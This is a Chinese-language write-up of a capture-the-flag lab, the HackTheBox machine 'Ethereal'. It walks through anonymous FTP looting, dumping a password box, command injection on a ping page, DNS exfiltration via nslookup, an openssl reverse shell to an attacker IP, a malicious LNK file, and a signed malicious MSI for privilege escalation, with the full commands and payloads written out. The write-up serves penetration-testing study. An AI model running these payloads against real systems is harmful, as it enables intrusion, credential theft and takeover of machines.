Ethereal 靶机渗透
字数 1314 2025-08-26 22:11:15
Ethereal 靶机渗透实战教学文档
1. 信息收集阶段
1.1 初始扫描
使用nmap进行全面的服务扫描:
nmap -sV -sC -A 10.10.10.106
扫描结果:
- 21/tcp: FTP (Microsoft ftpd)
- 80/tcp: HTTP (Microsoft IIS httpd 10.0)
- 8080/tcp: HTTP (Microsoft HTTPAPI httpd 2.0)
操作系统信息:Windows
1.2 Web服务探测
访问80端口发现一个Ping链接,跳转至http://ethereal.htb:8080/
修改hosts文件绑定域名:
vi /etc/hosts
添加:10.10.10.106 ethereal.htb
8080端口需要用户名和密码验证。
2. FTP匿名登录利用
2.1 匿名登录FTP
ftp 10.10.10.106
用户名:anonymous
密码:空
2.2 文件列表分析
07-10-18 09:03PM <DIR> binaries
09-02-09 08:58AM 4122 CHIPSET.txt
01-12-03 08:58AM 1173879 DISK1.zip
01-22-11 08:58AM 182396 edb143en.exe
01-18-11 11:05AM 98302 FDISK.zip
07-10-18 08:59PM <DIR> New folder
07-10-18 09:38PM <DIR> New folder (2)
07-09-18 09:23PM <DIR> subversion-1.10.0
11-12-16 08:58AM 4126 teamcity-server-log4j.xml
2.3 下载并分析FDISK.zip
get FDISK.zip
unzip FDISK.zip
file FDISK
FDISK: DOS/MBR boot sector (FAT12文件系统)
3. 挂载和分析FAT文件系统
3.1 创建挂载点并挂载
mkdir /mnt/htbdisk
mount -t vfat FDISK /mnt/htbdisk
3.2 分析pbox.dat文件
strings /mnt/htbdisk/pbox/pbox.dat
发现密码提示字符串:?8$cI8!L@i,r6N\7\~pe
4. 破解PasswordBox
4.1 下载并运行pbox
wget pbox011-linux.zip
unzip pbox011-linux.zip
sudo apt-get install libncurses5:i386
cp /mnt/htbdisk/pbox/pbox.dat ~/.pbox.dat
./pbox
输入主密码:password
4.2 获取的凭证信息
./pbox --dumpdatabases
-> 7oth3B@tC4v3!
msdn -> alan@ethereal.co / P@ssword1!
learning -> alan2 / learn1ng!
ftp drop -> Watch3r
backup -> alan / Ex3cutiv3Backups
website uploads -> R3lea5eR3@dy#
truecrypt -> Password8
management server -> !C414m17y57r1k3s4g41n!
svn -> alan53 / Ch3ck1ToU7
5. 8080端口RCE利用
5.1 使用获取的凭证登录
用户:alan
密码:!C414m17y57r1k3s4g41n!
5.2 测试命令执行
使用tcpdump监听ICMP流量:
sudo tcpdump -i tun0 icmp
执行ping命令确认RCE:
127.0.0.1 & ping -n 1 10.10.14.57
5.3 使用Responder获取数据
启动Responder:
sudo responder -I tun0
执行命令通过DNS泄露数据:
127.0.0.1 & for /f %i in ('whoami') do nslookup %i 10.10.14.57
返回:etherealalan
5.4 枚举目录结构
127.0.0.1 & for /f "tokens=1,2,3," %a in ('dir /B "C:\inetpub"') do nslookup %a.%b.%c 10.10.14.57
返回目录:
- custerr
- ftproot
- history
- logs
- temp
- wwwroot
6. 反弹Shell建立
6.1 生成SSL证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
6.2 启动SSL监听
sudo openssl s_server -key key.pem -cert cert.pem -quiet -port 73
6.3 执行反弹Shell
127.0.0.1 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.2:73
6.4 获取用户信息
dir c:\users\alan\desktop
type c:\users\alan\desktop\note-draft.txt
note-draft.txt内容:
I've created a shortcut for VS on the Public Desktop to ensure we use the same version. Please delete any existing shortcuts and use this one instead.
- Alan
7. LNK文件攻击
7.1 查找目标LNK文件
dir c:\users\public\desktop\Shortcuts
发现:
- Visual Studio 2017.lnk
7.2 生成恶意LNK文件
使用LNKUp工具:
python generate.py --host localhost --type ntlm --output lnkup.lnk --execute "C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.2:73|cmd.exe|C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.2:136"
7.3 上传并替换LNK文件
将lnk文件转换为base64:
openssl base64 -A -e -in 'new.lnk' -out out
通过RCE写入:
echo | set /p a=TAAAAAEUAgAAAAAAw... > C:\Users\Public\Desktop\shortcuts\link.txt
解码并写入目标文件:
C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -A -d -in "C:\Users\Public\Desktop\shortcuts\link.txt" -out "C:\Users\Public\Desktop\shortcuts\Visual Studio 2017.lnk"
8. MSI提权
8.1 发现MSI部署目录
D:\DEV\MSIs>type note.txt
Please drop MSIs that need testing into this folder - I will review regularly. Certs have been added to the store already.
8.2 获取证书文件
dir D:\Certs
发现:
- MyCA.cer
- MyCA.pvk
8.3 创建恶意MSI文件
8.3.1 MSI XML文件
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111"
Name="Example Product Name" Version="0.0.1"
Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes"
Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222"></Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\lnkup.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR"
ExeCommand='[cmdline]' Return="ignore" Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
8.3.2 使用WiX工具编译
candle.exe -out d:\cer\ d:\cer\msi.xml
light.exe -out d:\cer\lnkup.msi d:\cer\msi.wixobj
8.3.3 签名MSI文件
makecert.exe -n "CN=Ethereal" -pe -cy end -ic e:\cer\MyCa1.cer -iv e:\cer\MyCa1.pvk -sky signature -sv e:\cer\NewCa.pvk e:\cer\NewCa.cer
pvk2pfx.exe -pvk e:\cer\NewCa.pvk -spc e:\cer\NewCa.cer -pfx e:\cer\NewCa.pfx
signtool.exe sign /f e:\cer\NewCa.pfx e:\cer\lnkup.msi
8.4 部署恶意MSI
copy c:\users\public\desktop\Shortcuts\lnkup.msi D:\DEV\MSIs\lnkup.msi
8.5 获取系统权限
等待MSI被执行,通过openssl监听获取系统shell。
9. 总结
本渗透测试过程展示了从信息收集到权限提升的完整链条:
- 通过FTP匿名登录获取敏感文件
- 分析FAT文件系统获取密码信息
- 利用Web应用中的命令注入漏洞
- 使用Responder进行数据泄露
- 建立SSL加密的反向Shell
- 利用LNK文件实现权限维持
- 通过MSI安装包实现权限提升
关键点:
- 密码管理工具(pbox)的分析和利用
- Windows命令注入的多种利用方式
- LNK文件的攻击向量
- MSI安装包的签名和部署机制
- 证书在权限提升中的作用